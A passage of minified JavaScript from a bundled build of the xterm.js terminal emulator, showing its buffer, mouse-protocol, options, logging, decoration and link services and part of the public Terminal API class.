i=0;i<this._addons.length;i++)if(this._addons[i]===e){t=i;break}if(-1===t)throw new Error("Could not dispose an addon that has not been loaded");e.isDisposed=!0,e.dispose.apply(e.instance),this._addons.splice(t,1)}}},8771:(e,t,i)=>{Object.defineProperty(t,"__esModule",{value:!0}),t.BufferApiView=void 0;const s=i(3785),r=i(511);t.BufferApiView=class{constructor(e,t){this._buffer=e,this.type=t}init(e){return this._buffer=e,this}get cursorY(){return this._buffer.y}get cursorX(){return this._buffer.x}get viewportY(){return this._buffer.ydisp}get baseY(){return this._buffer.ybase}get length(){return this._buffer.lines.length}getLine(e){const t=this._buffer.lines.get(e);if(t)return new s.BufferLineApiView(t)}getNullCell(){return new r.CellData}}},3785:(e,t,i)=>{Object.defineProperty(t,"__esModule",{value:!0}),t.BufferLineApiView=void 0;const s=i(511);t.BufferLineApiView=class{constructor(e){this._line=e}get isWrapped(){return this._line.isWrapped}get length(){return this._line.length}getCell(e,t){if(!(e<0||e>=this._line.length))return t?(this._line.loadCell(e,t),t):this._line.loadCell(e,new s.CellData)}translateToString(e,t,i){return this._line.translateToString(e,t,i)}}},8285:(e,t,i)=>{Object.defineProperty(t,"__esModule",{value:!0}),t.BufferNamespaceApi=void 0;const s=i(8771),r=i(8460),n=i(844);class o extends n.Disposable{constructor(e){super(),this._core=e,this._onBufferChange=this.register(new r.EventEmitter),this.onBufferChange=this._onBufferChange.event,this._normal=new s.BufferApiView(this._core.buffers.normal,"normal"),this._alternate=new s.BufferApiView(this._core.buffers.alt,"alternate"),this._core.buffers.onBufferActivate((()=>this._onBufferChange.fire(this.active)))}get active(){if(this._core.buffers.active===this._core.buffers.normal)return this.normal;if(this._core.buffers.active===this._core.buffers.alt)return this.alternate;throw new Error("Active buffer is neither normal nor alternate")}get normal(){return this._normal.init(this._core.buffers.normal)}get alternate(){return this._alternate.init(this._core.buffers.alt)}}t.BufferNamespaceApi=o},7975:(e,t)=>{Object.defineProperty(t,"__esModule",{value:!0}),t.ParserApi=void 0,t.ParserApi=class{constructor(e){this._core=e}registerCsiHandler(e,t){return this._core.registerCsiHandler(e,(e=>t(e.toArray())))}addCsiHandler(e,t){return this.registerCsiHandler(e,t)}registerDcsHandler(e,t){return this._core.registerDcsHandler(e,((e,i)=>t(e,i.toArray())))}addDcsHandler(e,t){return this.registerDcsHandler(e,t)}registerEscHandler(e,t){return this._core.registerEscHandler(e,t)}addEscHandler(e,t){return this.registerEscHandler(e,t)}registerOscHandler(e,t){return this._core.registerOscHandler(e,t)}addOscHandler(e,t){return this.registerOscHandler(e,t)}}},7090:(e,t)=>{Object.defineProperty(t,"__esModule",{value:!0}),t.UnicodeApi=void 0,t.UnicodeApi=class{constructor(e){this._core=e}register(e){this._core.unicodeService.register(e)}get versions(){return this._core.unicodeService.versions}get activeVersion(){return this._core.unicodeService.activeVersion}set activeVersion(e){this._core.unicodeService.activeVersion=e}}},744:function(e,t,i){var s=this&&this.__decorate||function(e,t,i,s){var r,n=arguments.length,o=n<3?t:null===s?s=Object.getOwnPropertyDescriptor(t,i):s;if("object"==typeof Reflect&&"function"==typeof Reflect.decorate)o=Reflect.decorate(e,t,i,s);else for(var a=e.length-1;a>=0;a--)(r=e[a])&&(o=(n<3?r(o):n>3?r(t,i,o):r(t,i))||o);return n>3&&o&&Object.defineProperty(t,i,o),o},r=this&&this.__param||function(e,t){return function(i,s){t(i,s,e)}};Object.defineProperty(t,"__esModule",{value:!0}),t.BufferService=t.MINIMUM_ROWS=t.MINIMUM_COLS=void 0;const n=i(8460),o=i(844),a=i(5295),h=i(2585);t.MINIMUM_COLS=2,t.MINIMUM_ROWS=1;let c=t.BufferService=class extends o.Disposable{get buffer(){return this.buffers.active}constructor(e){super(),this.isUserScrolling=!1,this._onResize=this.register(new n.EventEmitter),this.onResize=this._onResize.event,this._onScroll=this.register(new n.EventEmitter),this.onScroll=this._onScroll.event,this.cols=Math.max(e.rawOptions.cols||0,t.MINIMUM_COLS),this.rows=Math.max(e.rawOptions.rows||0,t.MINIMUM_ROWS),this.buffers=this.register(new a.BufferSet(e,this))}resize(e,t){this.cols=e,this.rows=t,this.buffers.resize(e,t),this._onResize.fire({cols:e,rows:t})}reset(){this.buffers.reset(),this.isUserScrolling=!1}scroll(e,t=!1){const i=this.buffer;let s;s=this._cachedBlankLine,s&&s.length===this.cols&&s.getFg(0)===e.fg&&s.getBg(0)===e.bg||(s=i.getBlankLine(e,t),this._cachedBlankLine=s),s.isWrapped=t;const r=i.ybase+i.scrollTop,n=i.ybase+i.scrollBottom;if(0===i.scrollTop){const e=i.lines.isFull;n===i.lines.length-1?e?i.lines.recycle().copyFrom(s):i.lines.push(s.clone()):i.lines.splice(n+1,0,s.clone()),e?this.isUserScrolling&&(i.ydisp=Math.max(i.ydisp-1,0)):(i.ybase++,this.isUserScrolling||i.ydisp++)}else{const e=n-r+1;i.lines.shiftElements(r+1,e-1,-1),i.lines.set(n,s.clone())}this.isUserScrolling||(i.ydisp=i.ybase),this._onScroll.fire(i.ydisp)}scrollLines(e,t,i){const s=this.buffer;if(e<0){if(0===s.ydisp)return;this.isUserScrolling=!0}else e+s.ydisp>=s.ybase&&(this.isUserScrolling=!1);const r=s.ydisp;s.ydisp=Math.max(Math.min(s.ydisp+e,s.ybase),0),r!==s.ydisp&&(t||this._onScroll.fire(s.ydisp))}};t.BufferService=c=s([r(0,h.IOptionsService)],c)},7994:(e,t)=>{Object.defineProperty(t,"__esModule",{value:!0}),t.CharsetService=void 0,t.CharsetService=class{constructor(){this.glevel=0,this._charsets=[]}reset(){this.charset=void 0,this._charsets=[],this.glevel=0}setgLevel(e){this.glevel=e,this.charset=this._charsets[e]}setgCharset(e,t){this._charsets[e]=t,this.glevel===e&&(this.charset=t)}}},1753:function(e,t,i){var s=this&&this.__decorate||function(e,t,i,s){var r,n=arguments.length,o=n<3?t:null===s?s=Object.getOwnPropertyDescriptor(t,i):s;if("object"==typeof Reflect&&"function"==typeof Reflect.decorate)o=Reflect.decorate(e,t,i,s);else for(var a=e.length-1;a>=0;a--)(r=e[a])&&(o=(n<3?r(o):n>3?r(t,i,o):r(t,i))||o);return n>3&&o&&Object.defineProperty(t,i,o),o},r=this&&this.__param||function(e,t){return function(i,s){t(i,s,e)}};Object.defineProperty(t,"__esModule",{value:!0}),t.CoreMouseService=void 0;const n=i(2585),o=i(8460),a=i(844),h={NONE:{events:0,restrict:()=>!1},X10:{events:1,restrict:e=>4!==e.button&&1===e.action&&(e.ctrl=!1,e.alt=!1,e.shift=!1,!0)},VT200:{events:19,restrict:e=>32!==e.action},DRAG:{events:23,restrict:e=>32!==e.action||3!==e.button},ANY:{events:31,restrict:e=>!0}};function c(e,t){let i=(e.ctrl?16:0)|(e.shift?4:0)|(e.alt?8:0);return 4===e.button?(i|=64,i|=e.action):(i|=3&e.button,4&e.button&&(i|=64),8&e.button&&(i|=128),32===e.action?i|=32:0!==e.action||t||(i|=3)),i}const l=String.fromCharCode,d={DEFAULT:e=>{const t=[c(e,!1)+32,e.col+32,e.row+32];return t[0]>255||t[1]>255||t[2]>255?"":`${l(t[0])}${l(t[1])}${l(t[2])}`},SGR:e=>{const t=0===e.action&&4!==e.button?"m":"M";return`[<${c(e,!0)};${e.col};${e.row}${t}`},SGR_PIXELS:e=>{const t=0===e.action&&4!==e.button?"m":"M";return`[<${c(e,!0)};${e.x};${e.y}${t}`}};let u=t.CoreMouseService=class extends a.Disposable{constructor(e,t){super(),this._bufferService=e,this._coreService=t,this._protocols={},this._encodings={},this._activeProtocol="",this._activeEncoding="",this._lastEvent=null,this._onProtocolChange=this.register(new o.EventEmitter),this.onProtocolChange=this._onProtocolChange.event;for(const e of Object.keys(h))this.addProtocol(e,h[e]);for(const e of Object.keys(d))this.addEncoding(e,d[e]);this.reset()}addProtocol(e,t){this._protocols[e]=t}addEncoding(e,t){this._encodings[e]=t}get activeProtocol(){return this._activeProtocol}get areMouseEventsActive(){return 0!==this._protocols[this._activeProtocol].events}set activeProtocol(e){if(!this._protocols[e])throw new Error(`unknown protocol "${e}"`);this._activeProtocol=e,this._onProtocolChange.fire(this._protocols[e].events)}get activeEncoding(){return this._activeEncoding}set activeEncoding(e){if(!this._encodings[e])throw new Error(`unknown encoding "${e}"`);this._activeEncoding=e}reset(){this.activeProtocol="NONE",this.activeEncoding="DEFAULT",this._lastEvent=null}triggerMouseEvent(e){if(e.col<0||e.col>=this._bufferService.cols||e.row<0||e.row>=this._bufferService.rows)return!1;if(4===e.button&&32===e.action)return!1;if(3===e.button&&32!==e.action)return!1;if(4!==e.button&&(2===e.action||3===e.action))return!1;if(e.col++,e.row++,32===e.action&&this._lastEvent&&this._equalEvents(this._lastEvent,e,"SGR_PIXELS"===this._activeEncoding))return!1;if(!this._protocols[this._activeProtocol].restrict(e))return!1;const t=this._encodings[this._activeEncoding](e);return t&&("DEFAULT"===this._activeEncoding?this._coreService.triggerBinaryEvent(t):this._coreService.triggerDataEvent(t,!0)),this._lastEvent=e,!0}explainEvents(e){return{down:!!(1&e),up:!!(2&e),drag:!!(4&e),move:!!(8&e),wheel:!!(16&e)}}_equalEvents(e,t,i){if(i){if(e.x!==t.x)return!1;if(e.y!==t.y)return!1}else{if(e.col!==t.col)return!1;if(e.row!==t.row)return!1}return e.button===t.button&&e.action===t.action&&e.ctrl===t.ctrl&&e.alt===t.alt&&e.shift===t.shift}};t.CoreMouseService=u=s([r(0,n.IBufferService),r(1,n.ICoreService)],u)},6975:function(e,t,i){var s=this&&this.__decorate||function(e,t,i,s){var r,n=arguments.length,o=n<3?t:null===s?s=Object.getOwnPropertyDescriptor(t,i):s;if("object"==typeof Reflect&&"function"==typeof Reflect.decorate)o=Reflect.decorate(e,t,i,s);else for(var a=e.length-1;a>=0;a--)(r=e[a])&&(o=(n<3?r(o):n>3?r(t,i,o):r(t,i))||o);return n>3&&o&&Object.defineProperty(t,i,o),o},r=this&&this.__param||function(e,t){return function(i,s){t(i,s,e)}};Object.defineProperty(t,"__esModule",{value:!0}),t.CoreService=void 0;const n=i(1439),o=i(8460),a=i(844),h=i(2585),c=Object.freeze({insertMode:!1}),l=Object.freeze({applicationCursorKeys:!1,applicationKeypad:!1,bracketedPasteMode:!1,origin:!1,reverseWraparound:!1,sendFocus:!1,wraparound:!0});let d=t.CoreService=class extends a.Disposable{constructor(e,t,i){super(),this._bufferService=e,this._logService=t,this._optionsService=i,this.isCursorInitialized=!1,this.isCursorHidden=!1,this._onData=this.register(new o.EventEmitter),this.onData=this._onData.event,this._onUserInput=this.register(new o.EventEmitter),this.onUserInput=this._onUserInput.event,this._onBinary=this.register(new o.EventEmitter),this.onBinary=this._onBinary.event,this._onRequestScrollToBottom=this.register(new o.EventEmitter),this.onRequestScrollToBottom=this._onRequestScrollToBottom.event,this.modes=(0,n.clone)(c),this.decPrivateModes=(0,n.clone)(l)}reset(){this.modes=(0,n.clone)(c),this.decPrivateModes=(0,n.clone)(l)}triggerDataEvent(e,t=!1){if(this._optionsService.rawOptions.disableStdin)return;const i=this._bufferService.buffer;t&&this._optionsService.rawOptions.scrollOnUserInput&&i.ybase!==i.ydisp&&this._onRequestScrollToBottom.fire(),t&&this._onUserInput.fire(),this._logService.debug(`sending data "${e}"`,(()=>e.split("").map((e=>e.charCodeAt(0))))),this._onData.fire(e)}triggerBinaryEvent(e){this._optionsService.rawOptions.disableStdin||(this._logService.debug(`sending binary "${e}"`,(()=>e.split("").map((e=>e.charCodeAt(0))))),this._onBinary.fire(e))}};t.CoreService=d=s([r(0,h.IBufferService),r(1,h.ILogService),r(2,h.IOptionsService)],d)},9074:(e,t,i)=>{Object.defineProperty(t,"__esModule",{value:!0}),t.DecorationService=void 0;const s=i(8055),r=i(8460),n=i(844),o=i(6106);let a=0,h=0;class c extends n.Disposable{get decorations(){return this._decorations.values()}constructor(){super(),this._decorations=new o.SortedList((e=>null==e?void 0:e.marker.line)),this._onDecorationRegistered=this.register(new r.EventEmitter),this.onDecorationRegistered=this._onDecorationRegistered.event,this._onDecorationRemoved=this.register(new r.EventEmitter),this.onDecorationRemoved=this._onDecorationRemoved.event,this.register((0,n.toDisposable)((()=>this.reset())))}registerDecoration(e){if(e.marker.isDisposed)return;const t=new l(e);if(t){const e=t.marker.onDispose((()=>t.dispose()));t.onDispose((()=>{t&&(this._decorations.delete(t)&&this._onDecorationRemoved.fire(t),e.dispose())})),this._decorations.insert(t),this._onDecorationRegistered.fire(t)}return t}reset(){for(const e of this._decorations.values())e.dispose();this._decorations.clear()}*getDecorationsAtCell(e,t,i){var s,r,n;let o=0,a=0;for(const h of this._decorations.getKeyIterator(t))o=null!==(s=h.options.x)&&void 0!==s?s:0,a=o+(null!==(r=h.options.width)&&void 0!==r?r:1),e>=o&&e<a&&(!i||(null!==(n=h.options.layer)&&void 0!==n?n:"bottom")===i)&&(yield h)}forEachDecorationAtCell(e,t,i,s){this._decorations.forEachByKey(t,(t=>{var r,n,o;a=null!==(r=t.options.x)&&void 0!==r?r:0,h=a+(null!==(n=t.options.width)&&void 0!==n?n:1),e>=a&&e<h&&(!i||(null!==(o=t.options.layer)&&void 0!==o?o:"bottom")===i)&&s(t)}))}}t.DecorationService=c;class l extends n.Disposable{get isDisposed(){return this._isDisposed}get backgroundColorRGB(){return null===this._cachedBg&&(this.options.backgroundColor?this._cachedBg=s.css.toColor(this.options.backgroundColor):this._cachedBg=void 0),this._cachedBg}get foregroundColorRGB(){return null===this._cachedFg&&(this.options.foregroundColor?this._cachedFg=s.css.toColor(this.options.foregroundColor):this._cachedFg=void 0),this._cachedFg}constructor(e){super(),this.options=e,this.onRenderEmitter=this.register(new r.EventEmitter),this.onRender=this.onRenderEmitter.event,this._onDispose=this.register(new r.EventEmitter),this.onDispose=this._onDispose.event,this._cachedBg=null,this._cachedFg=null,this.marker=e.marker,this.options.overviewRulerOptions&&!this.options.overviewRulerOptions.position&&(this.options.overviewRulerOptions.position="full")}dispose(){this._onDispose.fire(),super.dispose()}}},4348:(e,t,i)=>{Object.defineProperty(t,"__esModule",{value:!0}),t.InstantiationService=t.ServiceCollection=void 0;const s=i(2585),r=i(8343);class n{constructor(...e){this._entries=new Map;for(const[t,i]of e)this.set(t,i)}set(e,t){const i=this._entries.get(e);return this._entries.set(e,t),i}forEach(e){for(const[t,i]of this._entries.entries())e(t,i)}has(e){return this._entries.has(e)}get(e){return this._entries.get(e)}}t.ServiceCollection=n,t.InstantiationService=class{constructor(){this._services=new n,this._services.set(s.IInstantiationService,this)}setService(e,t){this._services.set(e,t)}getService(e){return this._services.get(e)}createInstance(e,...t){const i=(0,r.getServiceDependencies)(e).sort(((e,t)=>e.index-t.index)),s=[];for(const t of i){const i=this._services.get(t.id);if(!i)throw new Error(`[createInstance] ${e.name} depends on UNKNOWN service ${t.id}.`);s.push(i)}const n=i.length>0?i[0].index:t.length;if(t.length!==n)throw new Error(`[createInstance] First service dependency of ${e.name} at position ${n+1} conflicts with ${t.length} static arguments`);return new e(...[...t,...s])}}},7866:function(e,t,i){var s=this&&this.__decorate||function(e,t,i,s){var r,n=arguments.length,o=n<3?t:null===s?s=Object.getOwnPropertyDescriptor(t,i):s;if("object"==typeof Reflect&&"function"==typeof Reflect.decorate)o=Reflect.decorate(e,t,i,s);else for(var a=e.length-1;a>=0;a--)(r=e[a])&&(o=(n<3?r(o):n>3?r(t,i,o):r(t,i))||o);return n>3&&o&&Object.defineProperty(t,i,o),o},r=this&&this.__param||function(e,t){return function(i,s){t(i,s,e)}};Object.defineProperty(t,"__esModule",{value:!0}),t.traceCall=t.setTraceLogger=t.LogService=void 0;const n=i(844),o=i(2585),a={trace:o.LogLevelEnum.TRACE,debug:o.LogLevelEnum.DEBUG,info:o.LogLevelEnum.INFO,warn:o.LogLevelEnum.WARN,error:o.LogLevelEnum.ERROR,off:o.LogLevelEnum.OFF};let h,c=t.LogService=class extends n.Disposable{get logLevel(){return this._logLevel}constructor(e){super(),this._optionsService=e,this._logLevel=o.LogLevelEnum.OFF,this._updateLogLevel(),this.register(this._optionsService.onSpecificOptionChange("logLevel",(()=>this._updateLogLevel()))),h=this}_updateLogLevel(){this._logLevel=a[this._optionsService.rawOptions.logLevel]}_evalLazyOptionalParams(e){for(let t=0;t<e.length;t++)"function"==typeof e[t]&&(e[t]=e[t]())}_log(e,t,i){this._evalLazyOptionalParams(i),e.call(console,(this._optionsService.options.logger?"":"xterm.js: ")+t,...i)}trace(e,...t){var i,s;this._logLevel<=o.LogLevelEnum.TRACE&&this._log(null!==(s=null===(i=this._optionsService.options.logger)||void 0===i?void 0:i.trace.bind(this._optionsService.options.logger))&&void 0!==s?s:console.log,e,t)}debug(e,...t){var i,s;this._logLevel<=o.LogLevelEnum.DEBUG&&this._log(null!==(s=null===(i=this._optionsService.options.logger)||void 0===i?void 0:i.debug.bind(this._optionsService.options.logger))&&void 0!==s?s:console.log,e,t)}info(e,...t){var i,s;this._logLevel<=o.LogLevelEnum.INFO&&this._log(null!==(s=null===(i=this._optionsService.options.logger)||void 0===i?void 0:i.info.bind(this._optionsService.options.logger))&&void 0!==s?s:console.info,e,t)}warn(e,...t){var i,s;this._logLevel<=o.LogLevelEnum.WARN&&this._log(null!==(s=null===(i=this._optionsService.options.logger)||void 0===i?void 0:i.warn.bind(this._optionsService.options.logger))&&void 0!==s?s:console.warn,e,t)}error(e,...t){var i,s;this._logLevel<=o.LogLevelEnum.ERROR&&this._log(null!==(s=null===(i=this._optionsService.options.logger)||void 0===i?void 0:i.error.bind(this._optionsService.options.logger))&&void 0!==s?s:console.error,e,t)}};t.LogService=c=s([r(0,o.IOptionsService)],c),t.setTraceLogger=function(e){h=e},t.traceCall=function(e,t,i){if("function"!=typeof i.value)throw new Error("not supported");const s=i.value;i.value=function(...e){if(h.logLevel!==o.LogLevelEnum.TRACE)return s.apply(this,e);h.trace(`GlyphRenderer#${s.name}(${e.map((e=>JSON.stringify(e))).join(", ")})`);const t=s.apply(this,e);return h.trace(`GlyphRenderer#${s.name} return`,t),t}}},7302:(e,t,i)=>{Object.defineProperty(t,"__esModule",{value:!0}),t.OptionsService=t.DEFAULT_OPTIONS=void 0;const s=i(8460),r=i(844),n=i(6114);t.DEFAULT_OPTIONS={cols:80,rows:24,cursorBlink:!1,cursorStyle:"block",cursorWidth:1,cursorInactiveStyle:"outline",customGlyphs:!0,drawBoldTextInBrightColors:!0,fastScrollModifier:"alt",fastScrollSensitivity:5,fontFamily:"courier-new, courier, monospace",fontSize:15,fontWeight:"normal",fontWeightBold:"bold",ignoreBracketedPasteMode:!1,lineHeight:1,letterSpacing:0,linkHandler:null,logLevel:"info",logger:null,scrollback:1e3,scrollOnUserInput:!0,scrollSensitivity:1,screenReaderMode:!1,smoothScrollDuration:0,macOptionIsMeta:!1,macOptionClickForcesSelection:!1,minimumContrastRatio:1,disableStdin:!1,allowProposedApi:!1,allowTransparency:!1,tabStopWidth:8,theme:{},rightClickSelectsWord:n.isMac,windowOptions:{},windowsMode:!1,windowsPty:{},wordSeparator:" ()[]{}',\"`",altClickMovesCursor:!0,convertEol:!1,termName:"xterm",cancelEvents:!1,overviewRulerWidth:0};const o=["normal","bold","100","200","300","400","500","600","700","800","900"];class a extends r.Disposable{constructor(e){super(),this._onOptionChange=this.register(new s.EventEmitter),this.onOptionChange=this._onOptionChange.event;const i=Object.assign({},t.DEFAULT_OPTIONS);for(const t in e)if(t in i)try{const s=e[t];i[t]=this._sanitizeAndValidateOption(t,s)}catch(e){console.error(e)}this.rawOptions=i,this.options=Object.assign({},i),this._setupOptions()}onSpecificOptionChange(e,t){return this.onOptionChange((i=>{i===e&&t(this.rawOptions[e])}))}onMultipleOptionChange(e,t){return this.onOptionChange((i=>{-1!==e.indexOf(i)&&t()}))}_setupOptions(){const e=e=>{if(!(e in t.DEFAULT_OPTIONS))throw new Error(`No option with key "${e}"`);return this.rawOptions[e]},i=(e,i)=>{if(!(e in t.DEFAULT_OPTIONS))throw new Error(`No option with key "${e}"`);i=this._sanitizeAndValidateOption(e,i),this.rawOptions[e]!==i&&(this.rawOptions[e]=i,this._onOptionChange.fire(e))};for(const t in this.rawOptions){const s={get:e.bind(this,t),set:i.bind(this,t)};Object.defineProperty(this.options,t,s)}}_sanitizeAndValidateOption(e,i){switch(e){case"cursorStyle":if(i||(i=t.DEFAULT_OPTIONS[e]),!function(e){return"block"===e||"underline"===e||"bar"===e}(i))throw new Error(`"${i}" is not a valid value for ${e}`);break;case"wordSeparator":i||(i=t.DEFAULT_OPTIONS[e]);break;case"fontWeight":case"fontWeightBold":if("number"==typeof i&&1<=i&&i<=1e3)break;i=o.includes(i)?i:t.DEFAULT_OPTIONS[e];break;case"cursorWidth":i=Math.floor(i);case"lineHeight":case"tabStopWidth":if(i<1)throw new Error(`${e} cannot be less than 1, value: ${i}`);break;case"minimumContrastRatio":i=Math.max(1,Math.min(21,Math.round(10*i)/10));break;case"scrollback":if((i=Math.min(i,4294967295))<0)throw new Error(`${e} cannot be less than 0, value: ${i}`);break;case"fastScrollSensitivity":case"scrollSensitivity":if(i<=0)throw new Error(`${e} cannot be less than or equal to 0, value: ${i}`);break;case"rows":case"cols":if(!i&&0!==i)throw new Error(`${e} must be numeric, value: ${i}`);break;case"windowsPty":i=null!=i?i:{}}return i}}t.OptionsService=a},2660:function(e,t,i){var s=this&&this.__decorate||function(e,t,i,s){var r,n=arguments.length,o=n<3?t:null===s?s=Object.getOwnPropertyDescriptor(t,i):s;if("object"==typeof Reflect&&"function"==typeof Reflect.decorate)o=Reflect.decorate(e,t,i,s);else for(var a=e.length-1;a>=0;a--)(r=e[a])&&(o=(n<3?r(o):n>3?r(t,i,o):r(t,i))||o);return n>3&&o&&Object.defineProperty(t,i,o),o},r=this&&this.__param||function(e,t){return function(i,s){t(i,s,e)}};Object.defineProperty(t,"__esModule",{value:!0}),t.OscLinkService=void 0;const n=i(2585);let o=t.OscLinkService=class{constructor(e){this._bufferService=e,this._nextId=1,this._entriesWithId=new Map,this._dataByLinkId=new Map}registerLink(e){const t=this._bufferService.buffer;if(void 0===e.id){const i=t.addMarker(t.ybase+t.y),s={data:e,id:this._nextId++,lines:[i]};return i.onDispose((()=>this._removeMarkerFromLink(s,i))),this._dataByLinkId.set(s.id,s),s.id}const i=e,s=this._getEntryIdKey(i),r=this._entriesWithId.get(s);if(r)return this.addLineToLink(r.id,t.ybase+t.y),r.id;const n=t.addMarker(t.ybase+t.y),o={id:this._nextId++,key:this._getEntryIdKey(i),data:i,lines:[n]};return n.onDispose((()=>this._removeMarkerFromLink(o,n))),this._entriesWithId.set(o.key,o),this._dataByLinkId.set(o.id,o),o.id}addLineToLink(e,t){const i=this._dataByLinkId.get(e);if(i&&i.lines.every((e=>e.line!==t))){const e=this._bufferService.buffer.addMarker(t);i.lines.push(e),e.onDispose((()=>this._removeMarkerFromLink(i,e)))}}getLinkData(e){var t;return null===(t=this._dataByLinkId.get(e))||void 0===t?void 0:t.data}_getEntryIdKey(e){return`${e.id};;${e.uri}`}_removeMarkerFromLink(e,t){const i=e.lines.indexOf(t);-1!==i&&(e.lines.splice(i,1),0===e.lines.length&&(void 0!==e.data.id&&this._entriesWithId.delete(e.key),this._dataByLinkId.delete(e.id)))}};t.OscLinkService=o=s([r(0,n.IBufferService)],o)},8343:(e,t)=>{Object.defineProperty(t,"__esModule",{value:!0}),t.createDecorator=t.getServiceDependencies=t.serviceRegistry=void 0;const i="di$target",s="di$dependencies";t.serviceRegistry=new Map,t.getServiceDependencies=function(e){return e[s]||[]},t.createDecorator=function(e){if(t.serviceRegistry.has(e))return t.serviceRegistry.get(e);const r=function(e,t,n){if(3!==arguments.length)throw new Error("@IServiceName-decorator can only be used to decorate a parameter");!function(e,t,r){t[i]===t?t[s].push({id:e,index:r}):(t[s]=[{id:e,index:r}],t[i]=t)}(r,e,n)};return r.toString=()=>e,t.serviceRegistry.set(e,r),r}},2585:(e,t,i)=>{Object.defineProperty(t,"__esModule",{value:!0}),t.IDecorationService=t.IUnicodeService=t.IOscLinkService=t.IOptionsService=t.ILogService=t.LogLevelEnum=t.IInstantiationService=t.ICharsetService=t.ICoreService=t.ICoreMouseService=t.IBufferService=void 0;const s=i(8343);var r;t.IBufferService=(0,s.createDecorator)("BufferService"),t.ICoreMouseService=(0,s.createDecorator)("CoreMouseService"),t.ICoreService=(0,s.createDecorator)("CoreService"),t.ICharsetService=(0,s.createDecorator)("CharsetService"),t.IInstantiationService=(0,s.createDecorator)("InstantiationService"),function(e){e[e.TRACE=0]="TRACE",e[e.DEBUG=1]="DEBUG",e[e.INFO=2]="INFO",e[e.WARN=3]="WARN",e[e.ERROR=4]="ERROR",e[e.OFF=5]="OFF"}(r||(t.LogLevelEnum=r={})),t.ILogService=(0,s.createDecorator)("LogService"),t.IOptionsService=(0,s.createDecorator)("OptionsService"),t.IOscLinkService=(0,s.createDecorator)("OscLinkService"),t.IUnicodeService=(0,s.createDecorator)("UnicodeService"),t.IDecorationService=(0,s.createDecorator)("DecorationService")},1480:(e,t,i)=>{Object.defineProperty(t,"__esModule",{value:!0}),t.UnicodeService=void 0;const s=i(8460),r=i(225);t.UnicodeService=class{constructor(){this._providers=Object.create(null),this._active="",this._onChange=new s.EventEmitter,this.onChange=this._onChange.event;const e=new r.UnicodeV6;this.register(e),this._active=e.version,this._activeProvider=e}dispose(){this._onChange.dispose()}get versions(){return Object.keys(this._providers)}get activeVersion(){return this._active}set activeVersion(e){if(!this._providers[e])throw new Error(`unknown Unicode version "${e}"`);this._active=e,this._activeProvider=this._providers[e],this._onChange.fire(e)}register(e){this._providers[e.version]=e}wcwidth(e){return this._activeProvider.wcwidth(e)}getStringCellWidth(e){let t=0;const i=e.length;for(let s=0;s<i;++s){let r=e.charCodeAt(s);if(55296<=r&&r<=56319){if(++s>=i)return t+this.wcwidth(r);const n=e.charCodeAt(s);56320<=n&&n<=57343?r=1024*(r-55296)+n-56320+65536:t+=this.wcwidth(n)}t+=this.wcwidth(r)}return t}}}},t={};function i(s){var r=t[s];if(void 0!==r)return r.exports;var n=t[s]={exports:{}};return e[s].call(n.exports,n,n.exports,i),n.exports}var s={};return(()=>{var e=s;Object.defineProperty(e,"__esModule",{value:!0}),e.Terminal=void 0;const t=i(9042),r=i(3236),n=i(844),o=i(5741),a=i(8285),h=i(7975),c=i(7090),l=["cols","rows"];class d extends n.Disposable{constructor(e){super(),this._core=this.register(new r.Terminal(e)),this._addonManager=this.register(new o.AddonManager),this._publicOptions=Object.assign({},this._core.options);const t=e=>this._core.options[e],i=(e,t)=>{this._checkReadonlyOptions(e),this._core.options[e]=t};for(const e in this._core.options){const s={get:t.bind(this,e),set:i.bind(this,e)};Object.defineProperty(this._publicOptions,e,s)}}_checkReadonlyOptions(e){if(l.includes(e))throw new Error(`Option "${e}" can only be set in the constructor`)}_checkProposedApi(){if(!this._core.optionsService.rawOptions.allowProposedApi)throw new Error("You must set the allowProposedApi option to true to use proposed API")}get onBell(){return this._core.onBell}get onBinary(){return this._core.onBinary}get onCursorMove(){return this._core.onCursorMove}get onData(){return this._core.onData}get onKey(){return this._core.onKey}get onLineFeed(){return this._core.onLineFeed}get onRender(){return this._core.onRender}get onResize(){return this._core.onResize}get onScroll(){return this._core.onScroll}get onSelectionChange(){return this._core.onSelectionChange}get onTitleChange(){return this._core.onTitleChange}get onWriteParsed(){return this._core.onWriteParsed}get element(){return this._core.element}get parser(){return this._parser||(this._parser=new h.ParserApi(this._core)),this._parser}get unicode(){return this._checkProposedApi(),new c.UnicodeApi(this._core)}get textarea(){return this._core.textarea}get rows(){return this._core.rows}get cols(){return this._core.cols}get buffer(){return this._buffer||(this._buffer=this.register(new a.BufferNamespaceApi(this._core))),this._buffer}get markers(){return this._checkProposedApi(),this._core.markers}get modes(){const e=this._core.coreService.decPrivateModes;let t="none";switch(this._core.coreMouseService.activeProtocol){case"X10":t="x10";break;case"VT200":t="vt200";break;case"DRAG":t="drag";break;case"ANY":t="any"}return{applicationCursorKeysMode:e.applicationCursorKeys,applicationKeypadMode:e.applicationKeypad,bracketedPasteMode:e.bracketedPasteMode,insertMode:this._core.coreService.modes.insertMode,mouseTrackingMode:t,originMode:e.origin,reverseWraparoundMode:e.reverseWraparound,sendFocusMode:e.sendFocus,wraparoundMode:e.wraparound}}get options(){return this._publicOptions}set options(e){for(const t in e)this._publicOptions[t]=e[t]}blur(){this._core.blur()}focus(){this._core.focus()}resize(e,t){this._verifyIntegers(e,t),this._core.resize(e,t)}open(e){this._core.open(e)}attachCustomKeyEventHandler(e){this._core.attachCustomKeyEventHandler(e)}registerLinkProvider(e){return this._core.registerLinkProvider(e)}registerCharacterJoiner(e){return this._checkProposedApi(),this._core.registerCharacterJoiner(e)}deregisterCharacterJoiner(e){this._checkProposedApi(),this._core.deregisterCharacterJoiner(e)}registerMarker(e=0){return this._verifyIntegers(e),this._core.registerMarker(e)}registerDecoration(e){var t,i,s;return this._checkProposedApi(),this._verifyPositiveIntegers(null!==(t=e.x)&&void 0!==t?t:0,null!==(i=e.width)&&void 0!==i?i:0,null!==(s=e.height)&&void 0!==s?s:0),this._core.registerDecoration(e)}hasSelection(){return this._core.hasSelection()}select(e,t,i){this._verifyIntegers(e,t,i),this._core.select(e,t,i)}getSelection(){return this._core.getSelection()}getSelectionPosition(){return 